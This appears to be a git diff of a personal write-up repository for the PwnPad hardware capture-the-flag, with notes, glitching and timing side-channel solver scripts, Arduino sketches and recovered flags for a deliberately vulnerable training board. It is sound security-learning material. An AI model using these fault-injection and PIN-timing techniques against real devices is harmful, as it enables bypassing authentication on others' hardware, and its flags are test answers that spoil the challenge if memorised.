+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
